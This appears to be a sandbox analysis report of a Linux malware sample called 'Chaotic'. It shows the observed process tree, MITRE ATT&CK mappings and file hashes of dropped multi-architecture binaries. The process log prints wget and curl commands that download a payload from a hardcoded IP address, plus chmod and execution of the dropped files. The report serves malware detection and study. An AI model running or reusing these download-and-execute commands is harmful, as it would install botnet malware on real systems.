  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1625
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1626
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1632
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1633
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1635
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
cab2fc62b63f28cd95c3fdca9ecec6d0

SHA1
df33b92944b8436e7310b0a03ca9038b70c65a56

SHA256
8436a21f6e581d533cc9d3f9b292c89aa171b6c8f560f3baf666b00556b60871

SHA512
dd2bdb170092fc31e19e072f4b637ccff00a26ca59ddb4e02f01ff189d382c8f0b267eafd3b508ee9fffb076ac8204e2453a6769f7bb2a25b40fd043dd7d2224

Download Submit
/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
252405874b163d27f4b275dfdc52df3f

SHA1
7b854e1e3cbf34c4833e9efe5213596a5922e3a7

SHA256
d90c92338314e3a2dcc1beba3fe072b3b0223191753c6c368c0f87ee0f6a8e0b

SHA512
3f995f611199a8de9caa0e84072afaed4a8b70e204002edd5e306daec31ce6f8ae4af68232b0fb9bf64eef4e62a13695af91fe716460ba8f4119766d31193081

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads